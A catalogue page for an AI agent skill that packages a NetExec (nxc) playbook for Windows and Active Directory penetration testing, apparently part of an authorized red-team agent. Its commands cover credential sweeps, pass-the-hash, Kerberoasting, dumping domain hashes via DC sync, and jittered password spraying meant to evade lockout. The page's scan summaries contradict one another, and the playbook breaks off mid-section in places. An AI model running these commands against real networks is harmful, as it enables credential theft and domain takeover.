Decepticon is an autonomous red-team agent that coordinates AI agents, security tools, sandboxes, and supporting services for authorized cybersecurity assessments. Security researchers and red teams can run it through its Docker stack, cloud service, command-line interface, or Python SDK, with the catalogue entries representing its available skills.
Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

SkillSpector: 4 findings, up to high
These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →
- high YARA Match · line 3 YARA rule matched a hack tool or exploit indicator (offensive tools, reconnaissance, privilege escalation, or exploit frameworks).Fix: Remove offensive tool references and exploit code. Legitimate agent skills should not contain penetration testing tools, exploit frameworks, or reconnaissance utilities.
- high YARA Match · line 81 YARA rule matched a known malware signature (reverse shell, backdoor, ransomware, C2 framework, or info stealer).Fix: Remove the malware payload or compromised file entirely. Investigate how it entered the skill and audit all other artifacts for additional indicators of compromise.
- medium Tool Misuse · line 159 Tool defaults are unsafe or overly permissive (e.g. disabled TLS verification, no authentication, world-writable permissions). Unsafe defaults widen the attack surface.Fix: Override unsafe defaults with secure settings (verify=True, auth required, restrictive permissions). Review and harden all tool configurations.
- medium Agent Snooping · line 169 Skill enumerates or reads other installed skills. Access to other skills' SKILL.md files or the skills directory reveals prompt instructions, capabilities, and secrets that should be invisible to peer skills.Fix: Remove all code or instructions that list or read other skills' files or directories. Skills should operate independently; cross-skill access is a privilege escalation.
What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00064 | $0.01848 |
| Opus 5 | $0.00032 | $0.00924 |
| Sonnet 5 | $0.00013 | $0.00370 |
| Haiku 4.5 | $0.00006 | $0.00185 |
Grade A, and why
netexec scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 5d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Nothing flagged
None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.

NetExec (nxc) Playbook
NetExec is the actively-maintained fork of CrackMapExec (archived 2023). One CLI, 8+ protocols, 200+ modules. The Swiss-army knife of Windows / AD pentest.
1. Install
pipx install netexec # preferred — isolates deps
# Or:
git clone https://github.com/Pennyw0rth/NetExec && cd NetExec && pipx install .
2. Protocol auth sweep
# Test creds across a subnet — single SMB null bind sweep
nxc smb 10.0.0.0/24
# With creds
nxc smb 10.0.0.0/24 -u alice -p Spring2024!
nxc smb 10.0.0.0/24 -u alice -H aad3b435b51404ee...:31d6cfe0d16ae931... # NTLM hash
# Across protocols — same creds, different services
nxc ldap $DC -u alice -p $PW
nxc mssql 10.0.0.5 -u alice -p $PW
nxc winrm 10.0.0.5 -u alice -p $PW
nxc rdp 10.0.0.5 -u alice -p $PW
nxc ssh 10.0.0.5 -u alice -p $PW
# Kerberos auth

3. Critical modules
3.1 BloodHound auto-collect (built-in)

--dns-server $DC_IP
# Drops Zip in current dir, ready to ingest into BloodHound
3.2 ADCS ESC1-15 scan
nxc ldap $DC -u alice -p $PW -M adcs
# Lists all certificates templates + vulnerability flags
3.3 Kerberoasting
nxc ldap $DC -u alice -p $PW --kerberoasting kerb.hashes

--spider-plus --extensions txt,xml,config,ini,xls,xlsx,docx \
--output-folder /tmp/spider
3.6 DC sync (when authorized as DA)
nxc smb $DC -u administrator -p $PW --ntds drsuapi
# Drops ntds.dit hashes to stdout/output
3.7 Password spray (with lockout protection)
nxc smb $DC --users users.txt -p 'Spring2024!' --threads 1 --jitter 30
# Slow + jittered to evade lockout
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 5d ago First seen · 178 lines · 64 tokens per session scan A 53a326132fae
netexec is a skill published in the GitHub repository PurpleAILAB/Decepticon (5,463 stars, last pushed 9d ago), licensed Apache-2.0. It adds 64 tokens to every session and 1,848 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
